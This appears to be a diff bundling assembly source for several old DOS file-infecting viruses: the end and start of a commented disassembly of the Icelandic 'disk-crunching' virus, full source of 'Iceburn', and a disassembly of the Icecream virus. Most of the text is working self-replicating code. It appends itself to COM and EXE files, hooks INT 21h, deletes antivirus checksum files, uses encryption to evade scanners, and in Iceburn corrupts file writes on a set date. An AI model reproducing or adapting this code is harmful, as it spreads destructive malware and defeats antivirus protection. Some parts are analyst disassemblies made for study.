CALL DWORD PTR CS:[DOSPC]
|
||||
JC L9
|
||||
MOV AX,DS:ID[1CH]
|
||||
MOV DS:[ORG_IP],AX
|
||||
MOV AX,DS:ID[1EH]
|
||||
ADD AX,10H
|
||||
MOV DS:[ORG_CS],AX
|
||||
;
|
||||
; Next the read/write pointer is moved to the end of the file-4,
|
||||
; and the last 4 bytes read. They are compared to the signature,
|
||||
; and if equal nothing happens.
|
||||
;
|
||||
MOV AX,4202H
|
||||
MOV CX,-1
|
||||
MOV DX,-4
|
||||
PUSHF
|
||||
CALL DWORD PTR CS:[DOSPC]
|
||||
JC L9
|
||||
ADD AX,4
|
||||
MOV DS:[LEN_LO],AX
|
||||
JNC L8A
|
||||
INC DX
|
||||
L8A: MOV DS:[LEN_HI],DX
|
||||
|
||||
MOV AH,3FH
|
||||
MOV CX,4
|
||||
MOV DX,OFFSET ID+4
|
||||
PUSHF
|
||||
CALL DWORD PTR CS:[DOSPC]
|
||||
JNC L11
|
||||
L9: MOV AH,3EH
|
||||
PUSHF
|
||||
CALL DWORD PTR CS:[DOSPC]
|
||||
L10: JMP L7
|
||||
;
|
||||
; Compare to 4418,5F19
|
||||
;
|
||||
L11: MOV SI,OFFSET ID+4
|
||||
MOV AX,[SI]
|
||||
CMP AX,4418H
|
||||
JNE L12
|
||||
MOV AX,[SI+2]
|
||||
CMP AX,5F19H
|
||||
JE L9
|
||||
;
|
||||
; The file is not infected, so the next thing the virus does is
|
||||
; infecting it. First it is padded so the length becomes a multiple
|
||||
; of 16 bytes. This is probably done so the virus code can start at a
|
||||
; paragraph boundary.
|
||||
;
|
||||
L12: MOV AX,DS:[LEN_LO]
|
||||
AND AX,0FH
|
||||
JZ L13
|
||||
MOV CX,16
|
||||
SUB CX,AX
|
||||
ADD DS:[LEN_LO],CX
|
||||
JNC L12A
|
||||
INC DS:[LEN_HI]
|
||||
L12A: MOV AH,40H
|
||||
PUSHF
|
||||
CALL DWORD PTR CS:[DOSPC]
|
||||
JC L9
|
||||
;
|
||||
; Next the main body of the virus is written to the end.
|
||||
;
|
||||
L13: XOR DX,DX
|
||||
MOV CX,OFFSET ID + 4
|
||||
MOV AH,40H
|
||||
PUSHF
|
||||
CALL DWORD PTR CS:[DOSPC]
|
||||
JC L9
|
||||
;
|
||||
; Next the .EXE file header is modified:
|
||||
;
|
||||
; First modify initial IP
|
||||
;
|
||||
MOV AX,OFFSET LABEL1
|
||||
MOV DS:ID[1CH],AX
|
||||
;
|
||||
; Modify starting CS = Virus CS. It is computed as:
|
||||
;
|
||||
; (Original length of file+padding)/16 - Start of load module
|
||||
;
|
||||
MOV DX,DS:[LEN_HI]
|
||||
MOV AX,DS:[LEN_LO]
|
||||
SHR DX,1
|
||||
RCR AX,1
|
||||
SHR DX,1
|
||||
RCR AX,1
|
||||
SHR DX,1
|
||||
RCR AX,1
|
||||
SHR DX,1
|
||||
RCR AX,1
|
||||
SUB AX,DS:ID[10H]
|
||||
MOV DS:ID[1EH],AX
|
||||
;
|
||||
; Modify length mod 512
|
||||
;
|
||||
ADD DS:[LEN_LO],OFFSET ID+4
|
||||
JNC L14
|
||||
INC DS:[LEN_HI]
|
||||
L14: MOV AX,DS:[LEN_LO]
|
||||
AND AX,511
|
||||
MOV DS:ID[0AH],AX
|
||||
;
|
||||
; Modify number of blocks used
|
||||
;
|
||||
MOV DX,DS:[LEN_HI]
|
||||
MOV AX,DS:[LEN_LO]
|
||||
ADD AX,511
|
||||
JNC L14A
|
||||
INC DX
|
||||
L14A: MOV AL,AH
|
||||
MOV AH,DL
|
||||
SHR AX,1
|
||||
MOV DS:ID[0CH],AX
|
||||
;
|
||||
; Finally the modified header is written back to the start of the
|
||||
; file.
|
||||
;
|
||||
QQQ: MOV AX,4200H
|
||||
XOR CX,CX
|
||||
XOR DX,DX
|
||||
PUSHF
|
||||
CALL DWORD PTR CS:[DOSPC]
|
||||
JC ENDIT
|
||||
MOV AH,40H
|
||||
MOV DX,OFFSET ID+8
|
||||
MOV CX,1CH
|
||||
PUSHF
|
||||
CALL DWORD PTR CS:[DOSPC]
|
||||
JC ENDIT
|
||||
MOV AH,3EH
|
||||
PUSHF
|
||||
CALL DWORD PTR CS:[DOSPC]
|
||||
;
|
||||
; Infection is finished - close the file and execute it.
|
||||
;
|
||||
ENDIT: JMP L9
|
||||
;
|
||||
; The damage section located here has been removed.
|
||||
;
|
||||
|
||||
NEW21 ENDP
|
||||
|
||||
DOSPC DW ?
|
||||
|
||||
DOSSEG DW ?
|
||||
COUNTER DB 10
|
||||
LEN_LO DW ?
|
||||
LEN_HI DW ?
|
||||
ID DW 4418H,5F19H ; The signature of the virus.
|
||||
;
|
||||
; A buffer, used for data from the file.
|
||||
;
|
||||
_TEXT ENDS
|
||||
|
||||
END LABEL1
|
||||
|
||||
|
||||
@@ -0,0 +1,404 @@
|
||||
|
||||
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-Ä
|
||||
; Iceburn - (c)1995 ûirogen - Using ûiCE v0.2á
|
||||
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-Ä
|
||||
;
|
||||
; þ Infects COM and EXE when executed.
|
||||
; þ COM Infection marker: fourth byte is 0
|
||||
; þ EXE infection marker: Checksum in header not equal to 0.
|
||||
; þ Time/Date do not change
|
||||
; þ Read-only and hidden files will be infected, and attributes restored.
|
||||
; þ Virus installs its own critical error handler
|
||||
; þ Deletes MSAV/CPAV CHecksum filez..
|
||||
; þ Activates on the second of any month, at which time it will phuck
|
||||
; up all file writes using INT 21h/func 40h.
|
||||
; þ Does not use ViCE anti-tbscan. Has a second cryptor to thwart many
|
||||
; TBSCAN flags.
|
||||
;
|
||||
|
||||
|
||||
cseg segment
|
||||
assume cs:cseg, ds:cseg, es:cseg, ss:cseg
|
||||
|
||||
signal equ 0FA01h ; AX=signal/INT 21h/installation chk
|
||||
vsafe_word equ 5945h ; magic word for VSAFE/VWATCH API
|
||||
special equ 11h
|
||||
act_day equ 2
|
||||
buf_size equ 170
|
||||
vice_size equ 1587+buf_size
|
||||
virus_size equ (offset vend-offset start)+VICE_SIZE
|
||||
extrn _vice:near
|
||||
|
||||
org 0h
|
||||
start:
|
||||
|
||||
push ds es
|
||||
inc si
|
||||
mov ax,1000h ; looks like legit. INT call..
|
||||
add ax,signal-1000h ; are we memory resident?
|
||||
mov dx,vsafe_word
|
||||
mov bl,special
|
||||
int 21h
|
||||
call nx ; get relative offset
|
||||
nx: pop bp
|
||||
sub bp,offset nx
|
||||
or si,si
|
||||
jz no_install ; if carry then we are
|
||||
|
||||
call crypt ; decrypt the next few bytez
|
||||
c_start:
|
||||
mov cs:activate[bp],0
|
||||
mov ah,2ah ; get date
|
||||
int 21h
|
||||
cmp dl,act_day ;
|
||||
jnz no_act
|
||||
mov cs:activate[bp],1
|
||||
no_act:
|
||||
|
||||
mov ax,ds ; PSP segment
|
||||
dec ax ; mcb below PSP m0n
|
||||
mov ds,ax ; DS=MCB seg
|
||||
cmp byte ptr ds: [0],'Z' ; Is this the last MCB in chain?
|
||||
jnz no_install
|
||||
sub word ptr ds: [3],((virus_size+1023)/1024)*64*2 ; alloc MCB
|
||||
sub word ptr ds: [12h],((virus_size+1023)/1024)*64*2 ; alloc PSP
|
||||
mov es,word ptr ds: [12h] ; get high mem seg
|
||||
push cs
|
||||
pop ds
|
||||
mov si,bp
|
||||
mov cx,virus_size/2+1
|
||||
xor di,di
|
||||
rep movsw ; copy code to new seg
|
||||
xor ax,ax
|
||||
mov ds,ax ; null ds
|
||||
push ds
|
||||
lds ax,ds: [21h*4] ; get 21h vector
|
||||
mov es: word ptr old21+2,ds ; save S:O
|
||||
mov es: word ptr old21,ax
|
||||
pop ds
|
||||
mov ds: [21h*4+2],es ; new int 21h seg
|
||||
mov ds: [21h*4],offset new21 ; new offset
|
||||
sub byte ptr ds: [413h],((virus_size+1023)*2)/1024;-totalmem
|
||||
c_end:
|
||||
no_install:
|
||||
|
||||
pop es ds ; restore ES DS
|
||||
cmp cs:is_exe[bp],1
|
||||
jz exe_return
|
||||
|
||||
lea si,org_bytes[bp] ; com return
|
||||
mov di,0100h ; -restore first 4 bytes
|
||||
mov cx,2
|
||||
rep movsw
|
||||
|
||||
mov ax,100h ; jump back to 100h
|
||||
push ax
|
||||
_ret:ret
|
||||
|
||||
exe_return:
|
||||
mov cx,ds ; calc. real CS
|
||||
add cx,10h
|
||||
add word ptr cs:[exe_jump+2+bp],cx
|
||||
int 3 ; fix prefetch
|
||||
db 0eah
|
||||
exe_jump dd 0
|
||||
is_exe db 0
|
||||
|
||||
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||||
; Crypts portion of virus
|
||||
;
|
||||
crypt_res:
|
||||
xor bp,bp
|
||||
crypt:
|
||||
lea si,c_start
|
||||
add si,bp
|
||||
mov cx,(offset c_end-offset c_start)
|
||||
add byte ptr cs:xor_op[bp],10h ; self modifying code...
|
||||
int 3 ; fix prefetch
|
||||
l1:
|
||||
db 2Eh
|
||||
xor_op db 70h,34h ; tbscan won't flag this bitch
|
||||
xor_val db 0
|
||||
inc si
|
||||
loop l1
|
||||
sub byte ptr cs:xor_op[bp],10h ; unmodify code
|
||||
ret
|
||||
|
||||
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||||
; Infection routine - called from INT 21h handler.
|
||||
; DS:DX=fname
|
||||
;
|
||||
|
||||
infect_file:
|
||||
|
||||
push dx
|
||||
pop si
|
||||
|
||||
push ds
|
||||
xor ax,ax ; null ES
|
||||
mov es,ax
|
||||
lds ax,es:[24h*4] ; get INT 24h vector
|
||||
mov cs:old_24_off,ax ; save it
|
||||
mov cs:old_24_seg,ds
|
||||
mov es:[24h*4+2],cs ; install our handler
|
||||
mov es:[24h*4],offset new_24
|
||||
pop ds
|
||||
push es ; we'll need it later
|
||||
push cs
|
||||
pop es
|
||||
|
||||
mov ax,4300h ; get phile attribute
|
||||
int 21h
|
||||
mov ax,4301h ; null attribs
|
||||
push ax cx ; save AX-call/CX-attrib
|
||||
xor cx,cx
|
||||
int 21h
|
||||
|
||||
mov ax,3d02h ; open the file
|
||||
int 21h
|
||||
jc dont_do
|
||||
|
||||
mov bx,ax ; get handle
|
||||
|
||||
push cs
|
||||
pop ds
|
||||
|
||||
call kill_chklst ; kill MSAV and CPAV checksum files
|
||||
|
||||
mov ah,3fh ; Read first bytes of file
|
||||
mov cx,20h
|
||||
lea dx,org_bytes
|
||||
int 21h
|
||||
|
||||
cmp byte ptr org_bytes,'M' ; single byte avoids heuristic flag
|
||||
jz do_exe
|
||||
cmp byte ptr org_bytes+3,0
|
||||
jz close
|
||||
|
||||
mov is_exe,0
|
||||
|
||||
mov ax,5700h ; get time/date
|
||||
int 21h
|
||||
push cx dx
|
||||
|
||||
call offset_end
|
||||
push ax ; AX=end of file
|
||||
|
||||
lea si,start ; DS:SI=start of code to encrypt
|
||||
mov di,virus_size ; ES:DI=address for decryptor/
|
||||
push di ; encrypted code. (at heap)
|
||||
mov cx,virus_size ; CX=virus size
|
||||
mov dx,ax ; DX=EOF offset
|
||||
add dx,100h ; DX=offset decryptor will run from
|
||||
mov al,00001011b ; jmps,no anti-tbscan, garbage, no CS:
|
||||
call _vice ; call engine!
|
||||
|
||||
pop dx
|
||||
mov ah,40h
|
||||
int 21h
|
||||
|
||||
call offset_zero
|
||||
pop ax ; restore COM file size
|
||||
sub ax,3 ; calculate jmp offset
|
||||
mov word ptr new_jmp+1,ax
|
||||
|
||||
lea dx,new_jmp
|
||||
mov cx,4
|
||||
mov ah,40h
|
||||
int 21h
|
||||
|
||||
pop dx cx ; pop date/time
|
||||
mov ax,5701h ; restore the mother fuckers
|
||||
int 21h
|
||||
|
||||
close:
|
||||
|
||||
pop cx ax ; restore attrib
|
||||
int 21h
|
||||
|
||||
mov ah,3eh
|
||||
int 21h
|
||||
|
||||
dont_do:
|
||||
pop es ; ES=0
|
||||
lds ax,dword ptr old_24_off ; restore shitty DOS error handler
|
||||
mov es:[24h*4],ax
|
||||
mov es:[24h*4+2],ds
|
||||
|
||||
ret
|
||||
|
||||
do_exe:
|
||||
|
||||
cmp word ptr exe_header[12h],0 ; is checksum (in hdr) 0?
|
||||
jnz close
|
||||
cmp byte ptr exe_header[18h],52h ; pklite'd?
|
||||
jz exe_ok
|
||||
cmp byte ptr exe_header[18h],40h ; don't infect new format exe
|
||||
jge close
|
||||
exe_ok:
|
||||
push bx
|
||||
|
||||
mov ah,2ch ; grab a random number
|
||||
int 21h
|
||||
mov word ptr exe_header[12h],dx ; mark that it's us
|
||||
mov is_exe,1
|
||||
|
||||
les ax,dword ptr exe_header+14h ; Save old entry point
|
||||
mov word ptr ds:exe_jump, ax
|
||||
mov word ptr ds:exe_jump+2, es
|
||||
|
||||
push cs
|
||||
pop es
|
||||
|
||||
call offset_end
|
||||
|
||||
push dx ax ; save file size DX:AX
|
||||
|
||||
mov bx, word ptr exe_header+8h ; calc. new entry point
|
||||
mov cl,4 ; *16
|
||||
shl bx,cl ; ^by shifting one byte
|
||||
sub ax,bx ; get actual file size-header
|
||||
sbb dx,0
|
||||
mov cx,10h ; divide AX/CX rDX
|
||||
div cx
|
||||
|
||||
mov word ptr exe_header+14h,dx
|
||||
mov word ptr exe_header+16h,ax
|
||||
mov rel_off,dx
|
||||
|
||||
pop ax ; AX:DX file size
|
||||
pop dx
|
||||
pop bx
|
||||
|
||||
mov cx,virus_size+10h ; calc. new size
|
||||
adc ax,cx
|
||||
|
||||
mov cl,9 ; calc new alloc (512)
|
||||
push ax
|
||||
shr ax,cl
|
||||
ror dx,cl
|
||||
stc
|
||||
adc dx,ax
|
||||
pop ax ; ax=size+virus
|
||||
and ah,1
|
||||
|
||||
mov word ptr exe_header+4h,dx
|
||||
mov word ptr exe_header+2h,ax
|
||||
|
||||
lea si,start ; DS:SI=start of code to encrypt
|
||||
mov di,virus_size ; ES:DI=address for decryptor and
|
||||
push di ; encrypted code (at heap)
|
||||
mov cx,virus_size ; CX=virus size
|
||||
mov dx,rel_off ; DX=offset decryptor will run from
|
||||
mov al,00001010b ; jmps,no anti-tbscan,garbage, use CS:
|
||||
call _vice ; call engine!
|
||||
|
||||
pop dx
|
||||
mov ah,40h
|
||||
int 21h
|
||||
|
||||
call offset_zero
|
||||
|
||||
mov cx,18h ; write fiXed header
|
||||
lea dx,exe_header
|
||||
mov ah,40h
|
||||
int 21h
|
||||
|
||||
jmp close
|
||||
|
||||
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||||
; set file ptr
|
||||
|
||||
offset_zero: ; self explanitory
|
||||
xor al,al
|
||||
jmp set_fp
|
||||
offset_end:
|
||||
mov al,02h
|
||||
set_fp:
|
||||
mov ah,42h
|
||||
xor cx,cx
|
||||
xor dx,dx
|
||||
int 21h
|
||||
ret
|
||||
|
||||
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||||
; Kill those darned MSAV and CPAV filez..
|
||||
;
|
||||
kill_chklst:
|
||||
mov di,2 ; counter for loop
|
||||
lea dx,first_2die ; first fname to kill
|
||||
kill_loop:
|
||||
mov ax,4301h ; reset attribs
|
||||
xor cx,cx
|
||||
int 21h
|
||||
mov ah,41h ; delete phile
|
||||
int 21h
|
||||
lea dx,last_2die ; second fname to kill
|
||||
dec di
|
||||
jnz kill_loop
|
||||
|
||||
ret
|
||||
first_2die db 'CHKLIST.MS',0 ; MSAV shitty checksum
|
||||
last_2die db 'CHKLIST.CPS',0 ; CPAV shitty checksum
|
||||
|
||||
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||||
; new 21h
|
||||
|
||||
new21:
|
||||
|
||||
pushf
|
||||
cmp ax,signal ; be it us?
|
||||
jnz not_us ; richtig..
|
||||
cmp dx,vsafe_word
|
||||
jnz not_us
|
||||
cmp bl,special
|
||||
jnz not_us
|
||||
xor si,si
|
||||
mov di,4559h
|
||||
jmp jmp_org
|
||||
not_us:
|
||||
cmp cs:activate,0 ; time to activate?
|
||||
jz nchk
|
||||
cmp ah,40h ; write to phile?
|
||||
jnz jmp_org
|
||||
xor dx,dx ; phuck up address..
|
||||
nchk: cmp ax,4b00h ; execute phile?
|
||||
jnz jmp_org
|
||||
|
||||
push ax bx cx di dx si ds es bp dx
|
||||
mov ah,2ch ; grab random for cryptor
|
||||
int 21h
|
||||
mov byte ptr cs:xor_val,dl
|
||||
pop dx
|
||||
call crypt_res
|
||||
call infect_file
|
||||
call crypt_res
|
||||
pop bp es ds si dx di cx bx ax
|
||||
|
||||
jmp_org:
|
||||
popf
|
||||
db 0eah ; jump far XXXX:XXXX
|
||||
old21 dd 0
|
||||
|
||||
|
||||
new_24: ; critical error handler
|
||||
mov al,3 ; prompts suck, return fail
|
||||
iret
|
||||
|
||||
|
||||
activate db 0
|
||||
txt_ptr dw offset credits
|
||||
credits db '[IceBurn, by ûirogen]'
|
||||
credit_end:
|
||||
new_jmp db 0E9h,0,0,0 ; jmp XXXX,0
|
||||
rel_off dw 0
|
||||
exe_header:
|
||||
org_bytes db 0CDh,20h,0,0 ; original COM bytes | exe hdr
|
||||
heap:
|
||||
db 16h dup(0) ; remaining exe header space
|
||||
old_24_off dw 0 ; old int24h vector
|
||||
old_24_seg dw 0
|
||||
vend:
|
||||
cseg ends
|
||||
end start
|
||||
|
||||
@@ -0,0 +1,259 @@
|
||||
;Icecream Virus by the TridenT virus research group.
|
||||
|
||||
;This is a simple direct-action com virus that uses one of
|
||||
;4 encryption algorithms to encrypt itself each time it infects a file.
|
||||
;It will infect one .COM file in the current directory every time it is
|
||||
;executed. It marks infections with the time stamp.
|
||||
|
||||
|
||||
;Disassembly by Black Wolf
|
||||
|
||||
.model tiny
|
||||
.code
|
||||
org 100h
|
||||
|
||||
start:
|
||||
db 0e9h,0ch,0 ;jmp Virus_Entry
|
||||
|
||||
Author_Name db 'John Tardy'
|
||||
|
||||
db 0E2h,0FAh
|
||||
Virus_Entry:
|
||||
push ax
|
||||
call Get_Offset
|
||||
Get_Offset:
|
||||
pop ax
|
||||
sub ax,offset Get_Offset
|
||||
|
||||
db 89h,0c5h ;mov bp,ax
|
||||
lea si,[bp+Storage]
|
||||
mov di,100h ;Restore file
|
||||
movsw
|
||||
movsb
|
||||
|
||||
mov ah,1Ah
|
||||
mov dx,0f900h
|
||||
int 21h ;Set DTA
|
||||
|
||||
mov ah,4Eh
|
||||
|
||||
FindFirstNext:
|
||||
lea dx,[bp+ComMask]
|
||||
xor cx,cx
|
||||
int 21h ;Find File
|
||||
jnc InfectFile
|
||||
|
||||
Restore_DTA:
|
||||
mov ah,1Ah
|
||||
mov dx,80h
|
||||
int 21h ;Set DTA to default
|
||||
|
||||
mov bx,offset start
|
||||
pop ax ;Return to host
|
||||
push bx
|
||||
retn
|
||||
|
||||
InfectFile:
|
||||
mov ax,4300h
|
||||
mov dx,0f91eh
|
||||
int 21h ;Get file attribs
|
||||
|
||||
push cx ;save 'em
|
||||
mov ax,4301h
|
||||
xor cx,cx
|
||||
int 21h ;Set them to 0
|
||||
|
||||
mov ax,3D02h
|
||||
int 21h ;Open file
|
||||
|
||||
mov bx,5700h
|
||||
xchg ax,bx
|
||||
int 21h ;Get file time
|
||||
|
||||
push cx
|
||||
push dx ;save it
|
||||
and cx,1Fh
|
||||
cmp cx,1 ;check for infection
|
||||
jne ContinueInfection
|
||||
db 0e9h,69h,0 ;jmp DoneInfect
|
||||
|
||||
ContinueInfection:
|
||||
mov ah,3Fh
|
||||
lea dx,[bp+Storage]
|
||||
mov cx,3
|
||||
int 21h ;Read in first 3 bytes
|
||||
|
||||
mov ax,cs:[Storage+bp]
|
||||
cmp ax,4D5Ah ;Is it an EXE?
|
||||
je DoneInfect
|
||||
cmp ax,5A4Dh
|
||||
je DoneInfect ;Other EXE signature?
|
||||
|
||||
pop dx
|
||||
pop cx
|
||||
and cx,0FFE0h ;Change stored time values
|
||||
or cx,1 ;to mark infection
|
||||
push cx
|
||||
push dx
|
||||
|
||||
mov ax,4202h ;Go to the end of the file
|
||||
call Move_FP
|
||||
sub ax,3
|
||||
mov cs:[JumpSize+bp],ax ;Save jump size
|
||||
|
||||
add ax,10Fh ;Save encryption starting
|
||||
mov word ptr [bp+EncPtr1+1],ax ;point....
|
||||
mov word ptr [bp+EncPtr2+1],ax
|
||||
mov word ptr [bp+EncPtr3+1],ax
|
||||
mov word ptr [bp+EncPtr4+1],ax
|
||||
call SetupEncryption ;Encrypt virus
|
||||
|
||||
mov ah,40h
|
||||
mov dx,0fa00h
|
||||
mov cx,1F5h
|
||||
int 21h ;Write virus to file
|
||||
|
||||
mov ax,4200h
|
||||
call Move_FP ;Go to the beginning of file
|
||||
|
||||
mov ah,40h
|
||||
lea dx,[bp+JumpBytes]
|
||||
mov cx,3
|
||||
int 21h ;Write in jump
|
||||
|
||||
call FinishFile
|
||||
jmp Restore_DTA
|
||||
|
||||
DoneInfect:
|
||||
call FinishFile
|
||||
mov ah,4Fh
|
||||
jmp FindFirstNext
|
||||
|
||||
Move_FP:
|
||||
xor cx,cx
|
||||
xor dx,dx
|
||||
int 21h
|
||||
ret
|
||||
|
||||
FinishFile:
|
||||
pop si dx cx
|
||||
mov ax,5701h ;Reset file time/date stamp
|
||||
int 21h ;(or mark infection)
|
||||
|
||||
mov ah,3Eh
|
||||
int 21h ;Close new host file
|
||||
|
||||
mov ax,4301h
|
||||
pop cx
|
||||
mov dx,0fc1eh
|
||||
int 21h ;Restore old attributes
|
||||
|
||||
push si
|
||||
retn
|
||||
|
||||
Message db ' I scream, you scream, we both '
|
||||
db 'scream for an ice-cream! '
|
||||
|
||||
SetupEncryption:
|
||||
xor byte ptr [bp+10Dh],2
|
||||
xor ax,ax
|
||||
mov es,ax
|
||||
mov ax,es:[46ch] ;Get random number
|
||||
push cs
|
||||
pop es
|
||||
push ax
|
||||
and ax,7FFh
|
||||
add ax,1E9h
|
||||
mov word ptr [bp+EncSize1+1],ax
|
||||
mov word ptr [bp+EncSize2+1],ax
|
||||
mov word ptr [bp+EncSize3+1],ax
|
||||
mov word ptr [bp+EncSize4+1],ax
|
||||
pop ax
|
||||
push ax
|
||||
and ax,3
|
||||
shl ax,1
|
||||
mov si,ax
|
||||
mov ax,[bp+si+EncData1]
|
||||
add ax,bp
|
||||
mov si,ax
|
||||
lea di,[bp+103h]
|
||||
movsw
|
||||
movsw
|
||||
movsw
|
||||
movsw ;Copy Encryption Algorithm
|
||||
pop ax
|
||||
stosb
|
||||
movsb
|
||||
mov dl,al
|
||||
lea si,[bp+103h]
|
||||
mov di,0fa00h
|
||||
mov cx,0Ch
|
||||
rep movsb
|
||||
lea si,[bp+10Fh]
|
||||
mov cx,1E9h
|
||||
|
||||
EncryptVirus:
|
||||
lodsb
|
||||
db 30h,0d0h ;xor al,dl
|
||||
stosb
|
||||
loop EncryptVirus
|
||||
|
||||
cmp dl,0
|
||||
je KeyWasZero
|
||||
retn
|
||||
|
||||
KeyWasZero: ;If key is zero, increase
|
||||
mov si,offset AuthorName ;jump size and place name
|
||||
mov di,0fa00h ;at beginning....
|
||||
mov cx,0Ah
|
||||
rep movsb
|
||||
mov ax,cs:[JumpSize+bp]
|
||||
add ax,0Ch
|
||||
mov cs:[JumpSize+bp],ax
|
||||
retn
|
||||
|
||||
db '[TridenT]'
|
||||
|
||||
EncData1 dw 02beh
|
||||
EncData2 dw 02c7h
|
||||
EncData3 dw 02d0h
|
||||
EncData4 dw 02d9h
|
||||
|
||||
Encryptions:
|
||||
;------------------------------------------------------------
|
||||
EncPtr1:
|
||||
mov si,0
|
||||
EncSize1:
|
||||
mov cx,0
|
||||
xor byte ptr [si],46h
|
||||
;------------------------------------------------------------
|
||||
EncPtr2:
|
||||
mov di,0
|
||||
EncSize2:
|
||||
mov cx,0
|
||||
xor byte ptr [di],47h
|
||||
;------------------------------------------------------------
|
||||
EncSize3:
|
||||
mov cx,0
|
||||
EncPtr3:
|
||||
mov si,0
|
||||
xor byte ptr [si],46h
|
||||
;------------------------------------------------------------
|
||||
EncSize4:
|
||||
mov cx,0
|
||||
EncPtr4:
|
||||
mov di,0
|
||||
xor byte ptr [di],47h
|
||||
;------------------------------------------------------------
|
||||
|
||||
AuthorName db 'John Tardy'
|
||||
|
||||
JumpBytes db 0E9h
|
||||
JumpSize dw 0
|
||||
|
||||
ComMask db '*.CoM',0
|
||||
|
||||
Storage dw 20CDh
|
||||
db 21h
|
||||
|
||||
end start
|
||||
@@ -0,0 +1,554 @@
|
||||
|
||||
; THE ICELANDIC "DISK-CRUNCHING" VIRUS
|
||||
;
|
||||
; Another possible name for this virus might be "One-in-ten", since
|
||||
; it tries to infect every tenth program run. The Icelandic name for
|
||||
; this virus ("Diskaetuvirus") translates to "Disk-eating virus"
|
||||
;
|
||||
; It was first located at one site in mid-June '89. It has since then
|
||||
; been found at a few other places, but is quite rare yet. So far it
|
||||
; does not seem to have spread to any other country.
|
||||
;
|
||||
; Disassembly done in June/July '89.
|
||||
;
|
||||
; The author of this program is unknown, but it appears to be of
|
||||
; Icelandic origin.
|
||||
;
|
||||
; All comments in this file were added by Fridrik Skulason,
|
||||
; University of Iceland/Computing Services.
|
||||
;
|
||||
; INTERNET: frisk@rhi.hi.is
|
||||
; UUCP: ...mcvax!hafro!rhi!frisk
|
||||
; BIX: FRISK
|
||||
;
|
||||
; To anyone who obtains this file - please be careful with it, I
|
||||
; would not like to see this virus be distributed too much. The code
|
||||
; is very clear, and the virus is quite well written. It would be VERY
|
||||
; easy to modify it to do something really harmful.
|
||||
;
|
||||
; A short description of the virus:
|
||||
;
|
||||
; It only infects .EXE files. Infected files grow by 656 to 671
|
||||
; bytes, and the length of the infected file MOD 16 will always be 0.
|
||||
; The virus attaches itself to the end of the programs it infects.
|
||||
;
|
||||
; When an infected file is run, the virus copies itself to top of
|
||||
; free memory, and modifies the memory blocks, in order to hide from
|
||||
; memory mapping programs. Some programs may overwrite this area,
|
||||
; causing the computer to crash.
|
||||
;
|
||||
; The virus does nothing if some other program has hooked INT 13
|
||||
; before it is run. This is probably done to avoid detection by
|
||||
; protection programs, but it also means that many ordinary
|
||||
; programs like SideKick and disk cache software will disable it.
|
||||
; Even the PRINT command will disable the virus. This reduces the
|
||||
; spread of the virus, but also greatly reduces the possibility that
|
||||
; the virus will be detected.
|
||||
;
|
||||
; The virus will hook INT 21H and when function 4B (EXEC) is called
|
||||
; it sometimes will infect the program being run. It will check every
|
||||
; tenth program that is run for infection, and if it is not already
|
||||
; infected, it will be.
|
||||
;
|
||||
; The virus will remove the Read-Only attribute before trying to
|
||||
; infect programs.
|
||||
;
|
||||
; Infected files can be easily recognized, since they always end in
|
||||
; 4418,5F19.
|
||||
;
|
||||
; To check for system infection, a byte at 0:37F is used - if it
|
||||
; contains FF the virus is installed in memory.
|
||||
;
|
||||
; This virus is slightly harmful, but does no serious damage.
|
||||
; On floppy-only, or machines with 10Mbyte hard disks it will do
|
||||
; no damage at all, but on machines with larger hard disks it will
|
||||
; select one unused entry in the FAT table, and mark it as bad, when it
|
||||
; infects a file. Since the virus only modifies the first copy of the
|
||||
; FAT, a quick fix is simply to copy the second table over the first.
|
||||
; This is the only "mistake" I have found in this virus. It appears
|
||||
; to be very well written - What a shame the programmer did not use
|
||||
; his abilities for something more constructive.
|
||||
;
|
||||
; This file was created in the following way: I wrote a small program,
|
||||
; that did nothing but write "Hello world!" and ran it several times,
|
||||
; until it became infected. I then diassembled the program, changed
|
||||
; it into an .ASM file, and worked on it until this file, when
|
||||
; assembled, produced the same file as the original infected one.
|
||||
;
|
||||
; (Or almost the same - the checksum in the header is different).
|
||||
;
|
||||
VIRSIZ EQU 128
|
||||
|
||||
ASSUME CS:_TEXT,DS:_TEXT,SS:NOTHING,ES:NOTHING
|
||||
;
|
||||
; This is the original program.
|
||||
;
|
||||
_TEXT1 SEGMENT PARA PUBLIC 'CODE'
|
||||
_START DB 0b4H,09H
|
||||
PUSH CS
|
||||
POP DS
|
||||
MOV DX,OFFSET STRING
|
||||
INT 21H
|
||||
MOV AX,4C00H
|
||||
INT 21H
|
||||
STRING DB "Hello world!",0dh,0ah,"$"
|
||||
_TEXT1 ENDS
|
||||
|
||||
_TEXT SEGMENT PARA PUBLIC 'CODE'
|
||||
|
||||
;
|
||||
; The virus is basically divided in three parts.
|
||||
;
|
||||
; 1. The main program - run when an infected program is run.
|
||||
; It will check if the system is already infected, and if not
|
||||
; it will install the virus.
|
||||
;
|
||||
